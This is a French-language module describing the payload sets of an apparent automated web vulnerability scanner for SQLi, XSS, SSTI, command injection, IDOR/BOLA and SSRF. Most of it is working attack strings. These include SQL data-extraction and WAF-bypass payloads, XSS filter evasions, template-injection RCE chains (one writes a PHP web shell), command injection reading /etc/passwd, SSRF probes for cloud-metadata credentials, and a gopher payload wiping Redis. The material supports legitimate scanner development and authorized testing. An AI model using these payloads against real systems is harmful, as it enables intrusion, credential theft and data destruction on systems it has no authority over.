# DAST Active Scanners Module

> **Module**: pentest-dast-scanners
> **Version**: 1.0.0
> **Source**: DAST Scanner v5 - scanner/injection/*.py + scanner/access_control/*.py
> **Scanners**: SQLi, XSS, SSTI, Command Injection, IDOR, BOLA, SSRF

---

## Vue d'Ensemble

Ce module contient les scanners actifs pour la detection automatisee de vulnerabilites.
Chaque scanner inclut:
- Points d'injection
- Techniques de detection
- Payloads par contexte
- Methodes de confirmation

---

## 1. SQL INJECTION SCANNER

### 1.1 Configuration
```yaml
scanner: SQLInjectionScanner
severity: CRITICAL
cvss: 9.8
cwe: CWE-89

injection_points:
  - URL_PATH
  - URL_QUERY
  - BODY_FORM
  - BODY_JSON
  - HEADER
  - COOKIE

techniques:
  - ERROR_BASED
  - BOOLEAN_BLIND
  - TIME_BLIND
  - UNION_BASED
  - STACKED_QUERIES
```

### 1.2 Detection Error-Based

```yaml
error_based:
  databases:
    mysql:
      payloads:
        - "'"
        - "''"
        - "' OR '1'='1"
        - "' AND '1'='2"
        - "1' ORDER BY 1--"
        - "1' ORDER BY 100--"

      error_patterns:
        - "SQL syntax.*MySQL"
        - "Warning.*mysql_"
        - "MySQLSyntaxErrorException"
        - "valid MySQL result"
        - "check the manual that corresponds to your (MySQL|MariaDB)"
        - "SQLSTATE\\["

      extraction:
        version: "' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))--"
        user: "' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user()),0x7e))--"
        database: "' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database()),0x7e))--"

    postgresql:
      payloads:
        - "'"
        - "' OR '1'='1"
        - "'; SELECT version()--"

      error_patterns:
        - "PostgreSQL.*ERROR"
        - "Warning.*pg_"
        - "PG::SyntaxError"
        - "org\\.postgresql\\.util\\.PSQLException"
        - "ERROR:\\s+syntax error at or near"

      extraction:
        version: "' AND 1=CAST((SELECT version()) AS INT)--"
        user: "' AND 1=CAST((SELECT current_user) AS INT)--"

    mssql:
      payloads:
        - "'"
        - "' OR '1'='1"
        - "'; SELECT @@version--"

      error_patterns:
        - "\\[Microsoft\\]\\[ODBC"
        - "Driver.*SQL Server"
        - "ODBC SQL Server Driver"
        - "SQLServer JDBC Driver"
        - "Unclosed quotation mark"

    oracle:
      payloads:
        - "'"
        - "' OR '1'='1"
        - "' AND 1=TO_NUMBER('A')--"

      error_patterns:
        - "ORA-[0-9]{5}"
        - "Oracle error"
        - "Oracle.*Driver"
        - "quoted string not properly terminated"

    sqlite:
      payloads:
        - "'"
        - "' OR '1'='1"
        - "' AND 1=randomblob(1)--"

      error_patterns:
        - "SQLite/JDBCDriver"
        - "SQLite\\.Exception"
        - "System\\.Data\\.SQLite\\.SQLiteException"
        - "SQLITE_ERROR"
```

### 1.3 Detection Boolean-Based Blind

```yaml
boolean_blind:
  methodology:
    1. Identifier la reponse "true" baseline
    2. Envoyer condition vraie, noter la reponse
    3. Envoyer condition fausse, noter la reponse
    4. Comparer les differences (contenu, longueur, status)

  payloads:
    true_condition:
      - "' AND '1'='1"
      - "' AND 1=1--"
      - "1 AND 1=1"
      - "' AND 'a'='a"

    false_condition:
      - "' AND '1'='2"
      - "' AND 1=2--"
      - "1 AND 1=2"
      - "' AND 'a'='b"

  confirmation:
    # Si difference detectee, confirmer avec extraction
    - "' AND SUBSTRING(version(),1,1)='5"
    - "' AND SUBSTRING(version(),1,1)='8"
    - "' AND (SELECT COUNT(*) FROM information_schema.tables)>0--"

  difference_detection:
    - content_length_diff: "> 10%"
    - word_count_diff: "> 5"
    - status_code_diff: true
    - specific_keyword: "present in one, absent in other"
```

### 1.4 Detection Time-Based Blind

```yaml
time_blind:
  methodology:
    1. Mesurer le temps de reponse baseline (3 requetes)
    2. Calculer la moyenne
    3. Envoyer payload avec delay
    4. Si temps > baseline + delay = vulnerable

  payloads:
    mysql:
      - "' AND SLEEP(5)--"
      - "' OR SLEEP(5)--"
      - "' AND (SELECT SLEEP(5))--"
      - "' AND BENCHMARK(10000000,SHA1('test'))--"
      delay: 5

    postgresql:
      - "'; SELECT pg_sleep(5)--"
      - "' AND (SELECT pg_sleep(5))--"
      - "' || pg_sleep(5)--"
      delay: 5

    mssql:
      - "'; WAITFOR DELAY '0:0:5'--"
      - "' AND 1=1 WAITFOR DELAY '0:0:5'--"
      delay: 5

    oracle:
      - "' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--"
      delay: 5

    sqlite:
      - "' AND 1=randomblob(500000000/2)--"
      delay: 3

  detection:
    threshold: 4.5  # secondes
    margin: 0.5     # marge d'erreur
```

### 1.5 Detection UNION-Based

```yaml
union_based:
  methodology:
    1. Determiner le nombre de colonnes (ORDER BY)
    2. Trouver les colonnes affichables (UNION SELECT)
    3. Extraire les donnees via colonnes visibles

  column_detection:
    order_by:
      - "1' ORDER BY 1--"
      - "1' ORDER BY 2--"
      - "1' ORDER BY 5--"
      - "1' ORDER BY 10--"
      - "1' ORDER BY 20--"
      # Erreur = nombre depasse

    union_null:
      - "1' UNION SELECT NULL--"
      - "1' UNION SELECT NULL,NULL--"
      - "1' UNION SELECT NULL,NULL,NULL--"
      - "1' UNION SELECT NULL,NULL,NULL,NULL--"
      - "1' UNION SELECT NULL,NULL,NULL,NULL,NULL--"

  data_extraction:
    # Une fois le nombre de colonnes connu (ex: 3)
    version:
      mysql: "-1' UNION SELECT 1,version(),3--"
      postgresql: "-1' UNION SELECT 1,version(),3--"
      mssql: "-1' UNION SELECT 1,@@version,3--"

    tables:
      mysql: "-1' UNION SELECT 1,table_name,3 FROM information_schema.tables--"
      postgresql: "-1' UNION SELECT 1,table_name,3 FROM information_schema.tables--"

    columns:
      mysql: "-1' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--"
```

### 1.6 WAF Bypass Payloads

```yaml
waf_bypass:
  encoding:
    - "' %4fR '1'='1"  # OR -> %4fR
    - "' %55NION %53ELECT"  # UNION SELECT encoded
    - "' UN%49ON SEL%45CT"

  comments:
    - "'/**/OR/**/1=1--"
    - "' UN/**/ION SEL/**/ECT"
    - "'/*!50000OR*/1=1--"

  case_variation:
    - "' oR '1'='1"
    - "' UnIoN SeLeCt"

  whitespace:
    - "'%0aOR%0a'1'='1"
    - "'%09OR%09'1'='1"
    - "'%0dOR%0d'1'='1"

  null_bytes:
    - "'%00OR '1'='1"
    - "' OR%00'1'='1"
```

---

## 2. XSS SCANNER

### 2.1 Configuration
```yaml
scanner: XSSScanner
severity: MEDIUM-HIGH
cvss: 6.1-7.5
cwe: CWE-79

types:
  - REFLECTED
  - STORED
  - DOM_BASED

contexts:
  - HTML_BODY
  - HTML_ATTRIBUTE
  - JAVASCRIPT
  - URL
  - CSS
```

### 2.2 Detection Reflected XSS

```yaml
reflected_xss:
  probe_payloads:
    # D'abord tester si input est reflete
    - "xss<test>probe"
    - "xss\"test'probe"
    - "xss`test${probe}"

  context_detection:
    html_body:
      pattern: "<[^>]*xss"
      payloads:
        - "<script>alert(1)</script>"
        - "<img src=x onerror=alert(1)>"
        - "<svg onload=alert(1)>"

    html_attribute:
      pattern: 'value="[^"]*xss'
      payloads:
        - '" onmouseover=alert(1) "'
        - "' onfocus=alert(1) autofocus '"
        - '" onclick=alert(1) "'

    javascript:
      pattern: "var.*=.*'[^']*xss"
      payloads:
        - "';alert(1);//"
        - "\";alert(1);//"
        - "-alert(1)-"

    url:
      pattern: "href=\"[^\"]*xss"
      payloads:
        - "javascript:alert(1)"
        - "data:text/html,<script>alert(1)</script>"

  verification:
    # Verifier que le payload est execute
    - search_in_response: "<script>alert(1)</script>"
    - no_encoding: "alert\\(1\\)"
    - check_headers: "Content-Type: text/html"
```

### 2.3 Payloads par Contexte

```yaml
context_payloads:
  html_body:
    basic:
      - "<script>alert(1)</script>"
      - "<img src=x onerror=alert(1)>"
      - "<svg onload=alert(1)>"
      - "<body onload=alert(1)>"

    event_handlers:
      - "<input onfocus=alert(1) autofocus>"
      - "<marquee onstart=alert(1)>"
      - "<video src=x onerror=alert(1)>"
      - "<audio src=x onerror=alert(1)>"
      - "<details open ontoggle=alert(1)>"

    exotic:
      - "<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>"
      - "<svg><animate onbegin=alert(1)>"
      - "<object data=javascript:alert(1)>"

  html_attribute:
    double_quote:
      - '" onmouseover="alert(1)'
      - '" onfocus="alert(1)" autofocus="'
      - '" onclick="alert(1)'

    single_quote:
      - "' onmouseover='alert(1)"
      - "' onfocus='alert(1)' autofocus='"

    no_quote:
      - " onmouseover=alert(1) "
      - " onfocus=alert(1) autofocus "

  javascript_string:
    single_quote:
      - "';alert(1);//"
      - "'-alert(1)-'"
      - "'+alert(1)+'"

    double_quote:
      - '";alert(1);//'
      - '"-alert(1)-"'

    template_literal:
      - "`${alert(1)}`"
      - "${alert(1)}"

  url_context:
    - "javascript:alert(1)"
    - "data:text/html,<script>alert(1)</script>"
    - "javascript:alert(document.domain)"
```

### 2.4 DOM XSS Detection

```yaml
dom_xss:
  sources:
    - "location.hash"
    - "location.search"
    - "location.href"
    - "document.URL"
    - "document.documentURI"
    - "document.referrer"
    - "window.name"
    - "postMessage"

  sinks:
    dangerous:
      - "eval("
      - "setTimeout("
      - "setInterval("
      - "Function("
      - "new Function("

    html:
      - ".innerHTML"
      - ".outerHTML"
      - "document.write("
      - "document.writeln("
      - ".insertAdjacentHTML("

    navigation:
      - "location.href"
      - "location.assign("
      - "location.replace("

  test_payloads:
    hash:
      - "#<img src=x onerror=alert(1)>"
      - "#javascript:alert(1)"
      - "#\"><script>alert(1)</script>"

    search:
      - "?q=<script>alert(1)</script>"
      - "?redirect=javascript:alert(1)"
```

### 2.5 WAF Bypass XSS

```yaml
xss_waf_bypass:
  encoding:
    html_entities:
      - "&#60;script&#62;alert(1)&#60;/script&#62;"
      - "&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;"

    unicode:
      - "\\u003cscript\\u003ealert(1)\\u003c/script\\u003e"
      - "<script>\\u0061lert(1)</script>"

    url:
      - "%3Cscript%3Ealert(1)%3C/script%3E"
      - "%253Cscript%253Ealert(1)%253C/script%253E"  # double

  tag_manipulation:
    case:
      - "<SCRIPT>alert(1)</SCRIPT>"
      - "<ScRiPt>alert(1)</ScRiPt>"

    nested:
      - "<scr<script>ipt>alert(1)</scr</script>ipt>"

    null_byte:
      - "<scri%00pt>alert(1)</scri%00pt>"

  alternative_tags:
    - "<svg onload=alert(1)>"
    - "<img src=x onerror=alert(1)>"
    - "<body onload=alert(1)>"
    - "<iframe src=javascript:alert(1)>"
    - "<object data=javascript:alert(1)>"
    - "<embed src=javascript:alert(1)>"
    - "<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>"
```

---

## 3. SSTI SCANNER

### 3.1 Configuration
```yaml
scanner: SSTIScanner
severity: CRITICAL
cvss: 9.8
cwe: CWE-94

template_engines:
  - jinja2
  - twig
  - freemarker
  - thymeleaf
  - pebble
  - velocity
  - smarty
  - mako
```

### 3.2 Detection Polyglotte

```yaml
polyglot_detection:
  # Payloads qui fonctionnent sur plusieurs engines
  universal:
    - "{{7*7}}"
    - "${7*7}"
    - "#{7*7}"
    - "<%= 7*7 %>"
    - "${{7*7}}"
    - "{7*7}"

  expected_results:
    - "49"

  if_detected: |
    Si "49" apparait dans la reponse:
    1. Identifier le template engine
    2. Tester les payloads specifiques
    3. Escalader vers RCE
```

### 3.3 Payloads par Engine

```yaml
engine_payloads:
  jinja2:
    detection:
      - "{{7*7}}"
      - "{{7*'7'}}"  # Retourne 7777777

    info_leak:
      - "{{config}}"
      - "{{config.items()}}"
      - "{{request.environ}}"
      - "{{self.__class__.__mro__}}"

    rce:
      - "{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}"
      - "{{lipsum.__globals__['os'].popen('id').read()}}"
      - "{{cycler.__init__.__globals__.os.popen('id').read()}}"
      - "{%for x in ().__class__.__base__.__subclasses__()%}{%if 'warning' in x.__name__%}{{x()._module.__builtins__['__import__']('os').popen('id').read()}}{%endif%}{%endfor%}"

  twig:
    detection:
      - "{{7*7}}"
      - "{{7*'7'}}"

    rce:
      - "{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"
      - "{{['id']|filter('system')}}"
      - "{{[0]|reduce('system','id')}}"
      - "{{'/etc/passwd'|file_excerpt(1,30)}}"

  freemarker:
    detection:
      - "${7*7}"

    rce:
      - '<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}'
      - '[#assign ex="freemarker.template.utility.Execute"?new()]${ex("id")}'

  thymeleaf:
    detection:
      - "__${7*7}__::.x"

    rce:
      - "__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x"
      - "${T(java.lang.Runtime).getRuntime().exec('id')}"
      - "__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).next()}__::.x"

  pebble:
    detection:
      - "{{7*7}}"

    rce:
      - "{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }}"

  smarty:
    detection:
      - "{$smarty.version}"

    rce:
      - "{php}system('id');{/php}"
      - "{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,\"<?php passthru($_GET['cmd']); ?>\",self::clearConfig())}"

  velocity:
    detection:
      - "#set($x=7*7)$x"

    rce:
      - "#set($rt=$class.inspect('java.lang.Runtime'))#set($chr=$rt.type.forName('java.lang.Character'))#set($str=$rt.type.forName('java.lang.String'))#set($ex=$rt.type.getRuntime().exec('id'))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"
```

---

## 4. IDOR/BOLA SCANNER

### 4.1 Configuration
```yaml
scanner: IDORScanner
severity: HIGH
cvss: 7.5
cwe: CWE-639

target_patterns:
  - "/api/users/{id}"
  - "/api/orders/{id}"
  - "/api/documents/{id}"
  - "/profile/{id}"
  - "/account/{id}"
  - "/files/{id}"
```

### 4.2 Detection Automatique

```yaml
idor_detection:
  step1_identify_endpoints:
    # Chercher les patterns d'ID dans les URLs
    patterns:
      numeric: "/\\d+(/|$)"
      uuid: "/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
      encoded: "/[A-Za-z0-9+/=]{10,}"
      hash: "/[a-f0-9]{32}"

  step2_collect_ids:
    # Collecter les IDs accessibles par l'utilisateur
    own_id: "123"
    other_ids:
      sequential:
        - "122"  # id - 1
        - "124"  # id + 1
        - "1"    # premier
        - "0"    # boundary
      special:
        - "-1"
        - "999999"
        - "null"
        - "undefined"

  step3_test_access:
    # Pour chaque endpoint avec ID
    method: |
      1. Requete avec own_id (baseline)
      2. Requete avec other_id
      3. Comparer les reponses

    vulnerable_if:
      - "status_code == 200 pour other_id"
      - "contenu different du propre profil"
      - "donnees sensibles dans response"

  step4_confirm:
    # Confirmer l'acces non autorise
    checks:
      - "Verifier que les donnees appartiennent a un autre user"
      - "Verifier les champs sensibles (email, phone, address)"
```

### 4.3 Tests Multi-Utilisateurs

```yaml
multi_user_testing:
  users:
    user_a:
      role: "standard"
      token: "token_a"
      resources: ["resource_a1", "resource_a2"]

    user_b:
      role: "standard"
      token: "token_b"
      resources: ["resource_b1", "resource_b2"]

    admin:
      role: "admin"
      token: "token_admin"
      resources: ["all"]

  test_matrix:
    horizontal:
      # User A accede aux ressources de User B
      - actor: "user_a"
        target: "resource_b1"
        expected: "403 ou 404"
        vulnerable_if: "200"

    vertical:
      # User standard accede aux ressources admin
      - actor: "user_a"
        target: "admin_resource"
        expected: "403"
        vulnerable_if: "200"
```

### 4.4 BOLA (Broken Object Level Authorization)

```yaml
bola_scanner:
  api_patterns:
    - "GET /api/v1/users/{userId}"
    - "PUT /api/v1/users/{userId}"
    - "DELETE /api/v1/users/{userId}"
    - "GET /api/v1/orders/{orderId}"
    - "GET /api/v1/documents/{docId}"

  http_method_override:
    headers:
      - "X-HTTP-Method-Override: DELETE"
      - "X-HTTP-Method: PUT"
      - "X-Method-Override: PATCH"
    params:
      - "_method=DELETE"
      - "_method=PUT"

  parameter_pollution:
    - "?id=1&id=2"
    - "?user_id=victim&user_id=attacker"
    - "?id[]=1&id[]=2"

  mass_assignment:
    # Tenter de modifier des champs non autorises
    - '{"role": "admin"}'
    - '{"isAdmin": true}'
    - '{"is_verified": true}'
    - '{"balance": 99999}'
```

---

## 5. COMMAND INJECTION SCANNER

### 5.1 Configuration
```yaml
scanner: CommandInjectionScanner
severity: CRITICAL
cvss: 9.8
cwe: CWE-78

target_params:
  - "cmd"
  - "exec"
  - "command"
  - "file"
  - "path"
  - "url"
  - "host"
  - "ip"
  - "ping"
```

### 5.2 Payloads

```yaml
command_injection:
  unix:
    basic:
      - "; id"
      - "| id"
      - "|| id"
      - "& id"
      - "&& id"
      - "`id`"
      - "$(id)"
      - "\nid"

    file_read:
      - "; cat /etc/passwd"
      - "| cat /etc/passwd"
      - "$(cat /etc/passwd)"

    blind:
      - "; sleep 5"
      - "| sleep 5"
      - "& ping -c 5 127.0.0.1 &"
      - "$(sleep 5)"

  windows:
    basic:
      - "& dir"
      - "| dir"
      - "|| dir"
      - "&& dir"
      - "& whoami"

    blind:
      - "& ping -n 5 127.0.0.1"
      - "| ping -n 5 127.0.0.1"

  detection_patterns:
    unix:
      - "uid=\\d+"
      - "root:x:0:0"
      - "/bin/bash"

    windows:
      - "Volume Serial Number"
      - "Directory of"
      - "COMPUTERNAME"
```

---

## 6. SSRF SCANNER

### 6.1 Configuration
```yaml
scanner: SSRFScanner
severity: HIGH-CRITICAL
cvss: 8.6-9.1
cwe: CWE-918

target_params:
  - "url"
  - "uri"
  - "path"
  - "file"
  - "document"
  - "page"
  - "image"
  - "feed"
  - "dest"
  - "redirect"
  - "callback"
```

### 6.2 Payloads

```yaml
ssrf_payloads:
  localhost:
    - "http://127.0.0.1"
    - "http://localhost"
    - "http://[::1]"
    - "http://0.0.0.0"
    - "http://127.0.0.1:80"
    - "http://127.0.0.1:443"
    - "http://127.0.0.1:22"
    - "http://127.0.0.1:3306"
    - "http://127.0.0.1:6379"
    - "http://127.0.0.1:9200"

  internal_networks:
    - "http://10.0.0.1"
    - "http://172.16.0.1"
    - "http://192.168.0.1"
    - "http://192.168.1.1"

  cloud_metadata:
    aws:
      - "http://169.254.169.254/latest/meta-data/"
      - "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
      - "http://169.254.169.254/latest/user-data/"

    gcp:
      - "http://metadata.google.internal/computeMetadata/v1/"
      - "http://169.254.169.254/computeMetadata/v1/"

    azure:
      - "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

    alibaba:
      - "http://100.100.100.200/"

  protocol_smuggling:
    - "gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a"
    - "dict://127.0.0.1:6379/info"
    - "file:///etc/passwd"
    - "ftp://127.0.0.1"
    - "ldap://127.0.0.1"

  bypass_filters:
    - "http://127.0.0.1.nip.io"
    - "http://localtest.me"
    - "http://127.0.0.1.xip.io"
    - "http://0x7f000001"  # IP en hex
    - "http://2130706433"  # IP en decimal
    - "http://017700000001"  # IP en octal
```

---

## 7. FUZZER CONFIGURATION

### 7.1 Modes d'Attaque
```yaml
fuzzer_modes:
  sniper:
    description: "Un parametre a la fois"
    use_case: "Trouver quel parametre est vulnerable"

  battering_ram:
    description: "Meme payload sur tous les parametres"
    use_case: "Test rapide avec un payload specifique"

  pitchfork:
    description: "Payloads synchronises (1-1, 2-2, etc.)"
    use_case: "Test username/password en parallele"

  cluster_bomb:
    description: "Toutes les combinaisons"
    use_case: "Brute force complet"
```

### 7.2 Match Conditions
```yaml
match_conditions:
  status:
    - "200"
    - "302"
    - "500"

  length:
    operator: ">"
    value: 1000

  word_count:
    operator: "!="
    value: 50

  regex:
    - "error"
    - "exception"
    - "stack trace"

  time:
    operator: ">"
    value: 5000  # ms

  headers:
    - "Set-Cookie"
    - "Location"
```

---

## 8. WORKFLOW GLOBAL

```
┌─────────────────────────────────────────────────────────────┐
│                    WORKFLOW SCAN ACTIF                       │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  1. COLLECTE ENDPOINTS                                      │
│     └─ Crawler / OpenAPI / GraphQL introspection            │
│                                                              │
│  2. IDENTIFICATION PARAMETRES                                │
│     └─ Query params, body, headers, cookies                 │
│                                                              │
│  3. DETECTION CONTEXTE                                      │
│     └─ HTML, JSON, XML, JavaScript                          │
│                                                              │
│  4. SCAN INJECTION                                          │
│     └─ SQLi Scanner                                         │
│     └─ XSS Scanner                                          │
│     └─ SSTI Scanner                                         │
│     └─ Command Injection Scanner                            │
│                                                              │
│  5. SCAN ACCESS CONTROL                                     │
│     └─ IDOR Scanner                                         │
│     └─ BOLA Scanner                                         │
│                                                              │
│  6. SCAN SSRF                                               │
│     └─ Internal network                                     │
│     └─ Cloud metadata                                       │
│                                                              │
│  7. CONFIRMATION                                            │
│     └─ Verification manuelle si necessaire                  │
│     └─ False positive check                                 │
│                                                              │
│  8. RAPPORT                                                 │
│     └─ Vulnerabilites classees par severite                │
│     └─ Preuves (requests/responses)                        │
│     └─ Recommandations                                      │
│                                                              │
└─────────────────────────────────────────────────────────────┘
```

---

*Module genere depuis DAST Scanner v5 - scanner/*.py*
*Scanners: SQLi, XSS, SSTI, Command Injection, IDOR, BOLA, SSRF*
